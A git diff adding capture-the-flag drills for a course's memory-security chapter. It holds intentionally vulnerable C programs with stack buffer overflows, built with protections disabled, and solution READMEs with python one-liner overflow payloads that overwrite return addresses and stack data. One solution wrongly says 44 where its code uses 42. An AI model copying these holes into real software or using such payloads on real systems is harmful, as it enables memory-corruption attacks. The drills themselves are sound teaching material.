diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md b/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md new file mode 100644 index 00000000..276edea3 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/README.md @@ -0,0 +1,7 @@ +# Feeling Chained + +Follow the sequence of operations in the functions of the binary at `feeling-chained/support/buff-ovf3`. +Identify the necessary ones and... you already know how to call them. + +If you cannot find your way through this exercise, look for variables that you need to overwrite with specific values in order to finish the exploit, and think of their positioning on the stack. +The previously mentioned [online example](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85) is still highly relevant. diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile new file mode 100644 index 00000000..d48bc9bc --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/Makefile @@ -0,0 +1,10 @@ +all: buff-ovf3 + +buff-ovf3: buff-ovf3.o + gcc -no-pie -m32 buff-ovf3.o -o buff-ovf3 + +buff-ovf3.o: buff-ovf3.c + gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c buff-ovf3.c + +clean: + rm -rf buff-ovf3.o buff-ovf3 diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md new file mode 100644 index 00000000..46a2386f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/README.md @@ -0,0 +1,9 @@ +# Solution + +By using the buffer overflow in `gateway()`, functions `f1(56, 13)` and `f3(13)` need to be called in this order, with those exact parameters. +`f3` is the one that actually calls `get_flag()`. +Calling `get_flag()` directly shouldn't work (a global variable is checked to make sure all steps were made). + +```sh +python3 -c 'import sys; sys.stdout.buffer.write(b"A"*22 + b"\x0c\x87\x04\x08" + b"\xb7\x86\x04\x08" + b"\x38\x00\x00\x00" + b"\x0d\x00\x00\x00")' | ./buff-ovf3 +``` diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c new file mode 100644 index 00000000..85b93105 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/buff-ovf3.c @@ -0,0 +1,85 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include + +#define MAXC 1000 + +static int my_global_var; +static int my_other_global_var; + +void get_flag(void) +{ + const int start_offset = 5; + unsigned int seed = 42; + + if (my_other_global_var != 0x7890) { + printf("You're cheating, mate. Try harder\n"); + return; + } + /* Here goes the obfuscated flag outputed by obfuscate.c */ + char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x4a\x37" + "\x20\x6c\x24\x21\x49\x5c\x08\x45\x41\x58\x39\x40\x35\x6f\x25\x43" + "\x31\x70\x6d\x71\x56\x1e\x0a\x11\x32\x61\x07\x64\x25\x0b\x4c\x31" + "\x0b\x43\x07\x0f\x7c\x4c\x0a\x6b\x37\x1d\x6c\x09\x70\x6a\x54\x5b" + "\x2d\x5d\x1a\x46\x31\x70\x24\x2b\x51\x2c\x6d\x06\x16\x47\x70\x4b" + "\x71"; + + int i = 0; + int iflag = 0; + int garbage; + char *res = (char *)malloc(MAXC); + + while (flag[iflag]) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts(res); +} + +void f3(int x) +{ + if (x == 13 && my_global_var == 0x1234) { + my_other_global_var = 0x7890; + get_flag(); + } else { + printf("You missed something\n"); + } +} + +void f2(void) +{ + printf("I dont do nothing\n"); +} + +void f1(int a, int b) +{ + if (a + b == 69) { + printf("You're doing great\n"); + my_global_var = 0x1234; + } else { + printf("You got the params wrong\n"); + } +} + +void gateway(void) +{ + char buff1[10]; + + fgets(buff1, 300, stdin); +} + +int main(void) +{ + gateway(); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c new file mode 100644 index 00000000..1bb4796f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/deobfuscator.c @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include +#define MAXC 1000 + +void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len) +{ + const char *pos = hex_str; + *len = 0; + + int ret; + + while (*pos && *(pos + 1)) { + if (*pos == '\\' && *(pos + 1) == 'x') { + ret = sscanf(pos + 2, "%2hhx", &bytes[*len]); + if (ret != 1) + exit(EXIT_FAILURE); + (*len)++; + pos += 4; + } else { + pos++; + } + } +} + +void get_flag(unsigned char *flag, int len) +{ + const int start_offset = 5; + unsigned int seed = 42; + int i = 0, iflag = 0, garbage; + unsigned char *res = (unsigned char *) malloc(MAXC); + + while (iflag < len) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts((const char *)res); + free(res); +} + +int main(void) +{ + char hex_input[MAXC]; + unsigned char flag[MAXC]; + int len; + + printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): "); + fgets(hex_input, MAXC, stdin); + + hex_to_bytes(hex_input, flag, &len); + + get_flag(flag, len); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c new file mode 100644 index 00000000..981b1fe8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/feeling-chained/solution/obfuscator.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +const int start_offset = 5; +unsigned int seed = 42; + +unsigned char *obfuscate(unsigned char *s) +{ + int i = 0; + int garbage; + unsigned char *res = (unsigned char *) malloc(10 * MAXC); + + while (*s) { + garbage = rand_r(&seed) % 5; + while (garbage--) + res[i++] = rand_r(&seed) % 127 + 1; + res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1; + ++i; + ++s; + } + res[i] = 0; + + return res; +} + +int main(void) +{ + unsigned char s[MAXC]; + + scanf("%s", s); + + unsigned char *sObfuscated = obfuscate(s); + unsigned char *p = sObfuscated; + + while (*p) { + printf("\\x%02x", *p); + ++p; + } + + free(sObfuscated); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3 b/chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3 new file mode 100644 index 00000000..5a2fba0f Binary files /dev/null and b/chapters/memory-security/ctf/drills/tasks/feeling-chained/support/buff-ovf3 differ diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md new file mode 100644 index 00000000..0584c00a --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/README.md @@ -0,0 +1,7 @@ +# Hidden in Plain Sight + +The `hidden-in-plain-sight-1/support/link` binary provides everything you need. +Find a way to use it. +> **TIP:** If you want a main function to be done right, you gotta do it yourself. + +If you are having trouble solving this exercise, check [this](https://stackoverflow.com/questions/15441877/how-do-i-link-object-files-in-c-fails-with-undefined-symbols-for-architecture). diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/Makefile new file mode 100644 index 00000000..7afc1024 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/Makefile @@ -0,0 +1,13 @@ +all: a.out + +a.out: link main.o + gcc -no-pie -m32 link main.o -o a.out + +link: link.c + gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c -o link link.c + +main.o: main.c + gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c main.c + +clean: + rm -rf link main.o a.out diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md new file mode 100644 index 00000000..ed091f72 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/README.md @@ -0,0 +1,11 @@ +# Solution + +Looking at the disassembly of the `link` binary, it is noticeable that there is no `main()` function. +This is a clear indicator that we have to find a way to call it ourselves. + +We define a `get_flag()` function prototype as void (you may be able to skip this step, but there will be an implicit declaration error during compilation) and we call it in our main function. +We then compile and assemble the file: +`gcc -g -m32 -fno-PIC -c main.c` + +We then link it to the `link` binary: +`gcc -no-pie -m32 link main.o -o a.out` diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/deobfuscator.c new file mode 100644 index 00000000..1bb4796f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/deobfuscator.c @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include +#define MAXC 1000 + +void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len) +{ + const char *pos = hex_str; + *len = 0; + + int ret; + + while (*pos && *(pos + 1)) { + if (*pos == '\\' && *(pos + 1) == 'x') { + ret = sscanf(pos + 2, "%2hhx", &bytes[*len]); + if (ret != 1) + exit(EXIT_FAILURE); + (*len)++; + pos += 4; + } else { + pos++; + } + } +} + +void get_flag(unsigned char *flag, int len) +{ + const int start_offset = 5; + unsigned int seed = 42; + int i = 0, iflag = 0, garbage; + unsigned char *res = (unsigned char *) malloc(MAXC); + + while (iflag < len) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts((const char *)res); + free(res); +} + +int main(void) +{ + char hex_input[MAXC]; + unsigned char flag[MAXC]; + int len; + + printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): "); + fgets(hex_input, MAXC, stdin); + + hex_to_bytes(hex_input, flag, &len); + + get_flag(flag, len); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/link.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/link.c new file mode 100644 index 00000000..c471de12 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/link.c @@ -0,0 +1,36 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +void get_flag(void) +{ + const int start_offset = 5; + unsigned int seed = 42; + + /* Here goes the obfuscated flag outputed by obfuscate.c */ + char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x5a\x37" + "\x20\x6a\x24\x21\x49\x72\x08\x45\x41\x1a\x25\x40\x35\x55\x25\x43" + "\x1c\x70\x6d\x7a\x56\x1e\x0a\x11\x0c\x61\x07\x64\x0d\x08\x51\x31" + "\x0b\x43\x07\x1e\x7c\x53\x0a\x52\x37\x59\x6c\x09\x70\x54\x54\x61" + "\x2d\x5d\x1a\x46\x35\x70\x24\x2b\x60"; + + int i = 0; + int iflag = 0; + int garbage; + char *res = (char *)malloc(MAXC); + + while (flag[iflag]) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts(res); +} diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c new file mode 100644 index 00000000..b41ea219 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/main.c @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: BSD-3-Clause + +void get_flag(void); + +int main(void) +{ + get_flag(); + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/obfuscator.c new file mode 100644 index 00000000..981b1fe8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/solution/obfuscator.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +const int start_offset = 5; +unsigned int seed = 42; + +unsigned char *obfuscate(unsigned char *s) +{ + int i = 0; + int garbage; + unsigned char *res = (unsigned char *) malloc(10 * MAXC); + + while (*s) { + garbage = rand_r(&seed) % 5; + while (garbage--) + res[i++] = rand_r(&seed) % 127 + 1; + res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1; + ++i; + ++s; + } + res[i] = 0; + + return res; +} + +int main(void) +{ + unsigned char s[MAXC]; + + scanf("%s", s); + + unsigned char *sObfuscated = obfuscate(s); + unsigned char *p = sObfuscated; + + while (*p) { + printf("\\x%02x", *p); + ++p; + } + + free(sObfuscated); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link new file mode 100644 index 00000000..c0b67f50 Binary files /dev/null and b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-1/support/link differ diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md new file mode 100644 index 00000000..c84bdc86 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/README.md @@ -0,0 +1,7 @@ +# Hidden in Plain Sight 2 + +Analyze the `hidden-in-plain-sight-2/support/link2` binary. +Executing it is no longer a mystery, but it will be a bit more challenging to reach the flag. +> **TIP:** Not all functions are private. + +In case you get stuck, feel free to take a look at [this](https://stackoverflow.com/questions/60261705/why-functions-locals-and-arguments-are-pushed-to-the-stack)! diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/Makefile new file mode 100644 index 00000000..5b96dfd5 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/Makefile @@ -0,0 +1,13 @@ +all: a.out + +a.out: link2 main.o + gcc -no-pie -m32 link2 main.o -o a.out + +link2: link.c + gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c -o link2 link.c + +main.o: main.c + gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c main.c + +clean: + rm -rf link2 main.o a.out diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md new file mode 100644 index 00000000..50113fb8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/README.md @@ -0,0 +1,30 @@ +# Solution + +In a nature similar to that of the previous exercise, we take a close look at the `objdump` disassembly output of the binary using the `objdump -D -M intel link2` command, specifically focusing on the `helper()` function: + +```asm +0000012b : +(...) +137: 83 7d 08 2a cmp dword ptr [ebp + 8], 42 +13b: 75 0d jne 0x14a +13d: 80 7d f4 58 cmp byte ptr [ebp - 12], 88 +141: 75 07 jne 0x14a +143: e8 b8 fe ff ff call 0x0 +``` + +The first `cmp` instruction at `0x137` compares the value at `[ebp + 8]` with `42`. +This implies that the first argument passed to the helper() function is expected to be `42`. +The second `cmp` instruction at `0x13d` compares the value at `[ebp - 12]` with `88`. +Since it's comparing a single byte (`byte ptr`), we can infer that this corresponds to a `char` argument. +Although it appears to be a local variable, if we look around a bit, we will notice why that is: + +```asm +131: 8b 45 0c mov eax, dword ptr [ebp + 12] +134: 88 45 f4 mov byte ptr [ebp - 12], al +``` + +The value at `[ebp + 12]` is moved into the `eax` register - this corresponds to the second argument passed to the `helper` function. +The lower byte of `eax`, `al`, the `char` that we are interested in, is then moved into a local variable. + +If both of the aforementioned comparisons are successful, the `get_flag()` function is called. +Hence, we can infer that we need to call the `helper()` function using the two arguments above - the integer `44`, and the char `X`, which is `88` in decimal. diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/deobfuscator.c new file mode 100644 index 00000000..1bb4796f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/deobfuscator.c @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include +#define MAXC 1000 + +void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len) +{ + const char *pos = hex_str; + *len = 0; + + int ret; + + while (*pos && *(pos + 1)) { + if (*pos == '\\' && *(pos + 1) == 'x') { + ret = sscanf(pos + 2, "%2hhx", &bytes[*len]); + if (ret != 1) + exit(EXIT_FAILURE); + (*len)++; + pos += 4; + } else { + pos++; + } + } +} + +void get_flag(unsigned char *flag, int len) +{ + const int start_offset = 5; + unsigned int seed = 42; + int i = 0, iflag = 0, garbage; + unsigned char *res = (unsigned char *) malloc(MAXC); + + while (iflag < len) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts((const char *)res); + free(res); +} + +int main(void) +{ + char hex_input[MAXC]; + unsigned char flag[MAXC]; + int len; + + printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): "); + fgets(hex_input, MAXC, stdin); + + hex_to_bytes(hex_input, flag, &len); + + get_flag(flag, len); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/link.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/link.c new file mode 100644 index 00000000..7c1cd267 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/link.c @@ -0,0 +1,43 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +static void get_flag(void) +{ + const int start_offset = 5; + unsigned int seed = 42; + + char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x73\x37" + "\x20\x6c\x24\x21\x49\x58\x08\x45\x41\x30\x3f\x40\x35\x64\x25\x43" + "\x0f\x70\x6d\x66\x56\x1e\x0a\x11\x32\x61\x07\x64\x37\x11\x53\x31" + "\x0b\x43\x07\x0f\x7c\x56\x0a\x70\x37\x45\x6c\x09\x70\x54\x54\x77" + "\x2d\x5d\x1a\x46\x0f\x70\x24\x2b\x54\x2d\x6d\x06\x16\x57\x70\x4b" + "\x6f\x51\x7d\x17\x47\x19\x27\x3d\x0f\x2f\x77"; + int i = 0; + int iflag = 0; + int garbage; + char *res = (char *)malloc(MAXC); + + while (flag[iflag]) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts(res); +} + +void helper(int a, char c) +{ + if (a == 42 && c == 'X') + get_flag(); + else + printf("Keep trying\n"); +} diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/main.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/main.c new file mode 100644 index 00000000..211c2efc --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/main.c @@ -0,0 +1,9 @@ +// SPDX-License-Identifier: BSD-3-Clause + +void helper(int a, char c); + +int main(void) +{ + helper(42, 'X'); + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/obfuscator.c new file mode 100644 index 00000000..981b1fe8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/solution/obfuscator.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +const int start_offset = 5; +unsigned int seed = 42; + +unsigned char *obfuscate(unsigned char *s) +{ + int i = 0; + int garbage; + unsigned char *res = (unsigned char *) malloc(10 * MAXC); + + while (*s) { + garbage = rand_r(&seed) % 5; + while (garbage--) + res[i++] = rand_r(&seed) % 127 + 1; + res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1; + ++i; + ++s; + } + res[i] = 0; + + return res; +} + +int main(void) +{ + unsigned char s[MAXC]; + + scanf("%s", s); + + unsigned char *sObfuscated = obfuscate(s); + unsigned char *p = sObfuscated; + + while (*p) { + printf("\\x%02x", *p); + ++p; + } + + free(sObfuscated); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/support/link2 b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/support/link2 new file mode 100644 index 00000000..51947489 Binary files /dev/null and b/chapters/memory-security/ctf/drills/tasks/hidden-in-plain-sight-2/support/link2 differ diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/README.md b/chapters/memory-security/ctf/drills/tasks/indirect-business/README.md new file mode 100644 index 00000000..60db18dc --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/README.md @@ -0,0 +1,8 @@ +# Indirect Business + +The `indirect-business/support/buff-ovf` binary contains a classic vulnerability. +Use the input to alter the data in your favor. + +If you experience a neural buffer overflow, take a look at the [relevant lab](https://cs-pub-ro.github.io/hardware-software-interface/Lab%2011%20-%20Buffer%20Management.%20Buffer%20Overflow/) and at [online examples](https://medium.com/@0x-Singularity/exploit-tutorial-understanding-buffer-overflows-d017108edc85). + +If that still doesn't work, keep in mind that the great cybersecurity expert named Sun Tzu was a big proponent of bruteforce attacks. diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/Makefile new file mode 100644 index 00000000..8027b988 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/Makefile @@ -0,0 +1,10 @@ +all: buff-ovf + +buff-ovf: buff-ovf.o + gcc -no-pie -m32 buff-ovf.o -o buff-ovf + +buff-ovf.o: buff-ovf.c + gcc -g -m32 -z execstack -fno-PIC -fno-stack-protector -c buff-ovf.c + +clean: + rm -rf buff-ovf.o buff-ovf diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md new file mode 100644 index 00000000..bc7dc48a --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/README.md @@ -0,0 +1,8 @@ +# Solution + +Use the buffer overflow to overwrite a string on the stack. +This is going to be copied to a global variable that is checked before calling the `get_flag()` function. + +```sh +python -c 'import sys; sys.stdout.buffer.write(b"A"*10 + b"Bye")' | ./buff-ovf +``` diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/buff-ovf.c b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/buff-ovf.c new file mode 100644 index 00000000..5ce4f283 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/buff-ovf.c @@ -0,0 +1,61 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include + +#define MAXC 1000 + +char buff[] = "Hey"; + +void get_flag(void) +{ + const int start_offset = 5; + unsigned int seed = 42; + + /* Here goes the obfuscated flag outputed by obfuscate.c */ + char *flag = "\x66\x3b\x70\x76\x76\x16\x2f\x4b\x38\x60\x4b\x31\x52\x5a\x68\x37" + "\x20\x62\x24\x21\x49\x43\x08\x45\x41\x1d\x16\x40\x35\x7d\x25\x43" + "\x0b\x70\x6d\x7e\x56\x1e\x0a\x11\x03\x61\x07\x64\x0d\x15\x55\x31" + "\x0b\x43\x07\x04\x7c\x56\x0a\x23\x37\x1f\x6c\x09\x70\x19\x54\x3d" + "\x2d\x5d\x1a\x46\x2d"; + + int i = 0; + int iflag = 0; + int garbage; + char *res = (char *)malloc(MAXC); + + while (flag[iflag]) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts(res); +} + +void check_static_var(void) +{ + if (!strcmp(buff, "Bye")) + get_flag(); + else + printf("Try again\n"); +} + +int main(void) +{ + char local_buff[10]; + char message[10]; + + fgets(message, 20, stdin); + strcpy(buff, local_buff); + + check_static_var(); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/deobfuscator.c b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/deobfuscator.c new file mode 100644 index 00000000..1bb4796f --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/deobfuscator.c @@ -0,0 +1,65 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#include +#define MAXC 1000 + +void hex_to_bytes(const char *hex_str, unsigned char *bytes, int *len) +{ + const char *pos = hex_str; + *len = 0; + + int ret; + + while (*pos && *(pos + 1)) { + if (*pos == '\\' && *(pos + 1) == 'x') { + ret = sscanf(pos + 2, "%2hhx", &bytes[*len]); + if (ret != 1) + exit(EXIT_FAILURE); + (*len)++; + pos += 4; + } else { + pos++; + } + } +} + +void get_flag(unsigned char *flag, int len) +{ + const int start_offset = 5; + unsigned int seed = 42; + int i = 0, iflag = 0, garbage; + unsigned char *res = (unsigned char *) malloc(MAXC); + + while (iflag < len) { + garbage = rand_r(&seed) % 5; + while (garbage--) { + rand_r(&seed); + ++iflag; + } + + res[i++] = (flag[iflag] - 1) ^ ((start_offset + iflag) % 128) ^ (rand_r(&seed) % 128); + ++iflag; + } + res[i] = 0; + + puts((const char *)res); + free(res); +} + +int main(void) +{ + char hex_input[MAXC]; + unsigned char flag[MAXC]; + int len; + + printf("Enter the obfuscated flag (e.g. \\x66\\x3b...): "); + fgets(hex_input, MAXC, stdin); + + hex_to_bytes(hex_input, flag, &len); + + get_flag(flag, len); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/obfuscator.c b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/obfuscator.c new file mode 100644 index 00000000..981b1fe8 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/indirect-business/solution/obfuscator.c @@ -0,0 +1,46 @@ +// SPDX-License-Identifier: BSD-3-Clause + +#include +#include +#define MAXC 1000 + +const int start_offset = 5; +unsigned int seed = 42; + +unsigned char *obfuscate(unsigned char *s) +{ + int i = 0; + int garbage; + unsigned char *res = (unsigned char *) malloc(10 * MAXC); + + while (*s) { + garbage = rand_r(&seed) % 5; + while (garbage--) + res[i++] = rand_r(&seed) % 127 + 1; + res[i] = ((*s) ^ ((start_offset + i) % 128) ^ (rand_r(&seed) % 128)) + 1; + ++i; + ++s; + } + res[i] = 0; + + return res; +} + +int main(void) +{ + unsigned char s[MAXC]; + + scanf("%s", s); + + unsigned char *sObfuscated = obfuscate(s); + unsigned char *p = sObfuscated; + + while (*p) { + printf("\\x%02x", *p); + ++p; + } + + free(sObfuscated); + + return 0; +} diff --git a/chapters/memory-security/ctf/drills/tasks/indirect-business/support/buff-ovf b/chapters/memory-security/ctf/drills/tasks/indirect-business/support/buff-ovf new file mode 100644 index 00000000..7f37ef92 Binary files /dev/null and b/chapters/memory-security/ctf/drills/tasks/indirect-business/support/buff-ovf differ diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/README.md b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/README.md new file mode 100644 index 00000000..8ab14d9c --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/README.md @@ -0,0 +1,7 @@ +# Look at Him Go + +The `look-at-him-go/support/dynamic` binary is executable this time and its sole purpose is to obtain the flag and place it somewhere in memory. +No tricks here. +> **TIP:** GDB is your friend. + +If you're unable to progress in this exercise, reference [the GDB lab](https://cs-pub-ro.github.io/hardware-software-interface/Lab%202%20-%20Memory%20Operations.%20Introduction%20to%20GDB/Introduction%20to%20GDB/Reading/) and [this](https://stackoverflow.com/questions/5429137/how-to-print-register-values-in-gdb). diff --git a/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/Makefile b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/Makefile new file mode 100644 index 00000000..c1878d93 --- /dev/null +++ b/chapters/memory-security/ctf/drills/tasks/look-at-him-go/solution/Makefile @@ -0,0 +1,10 @@ +all: dynamic + +dynamic: dynamic.o + gcc -no-pie -m32 dynamic.o -o dynamic + 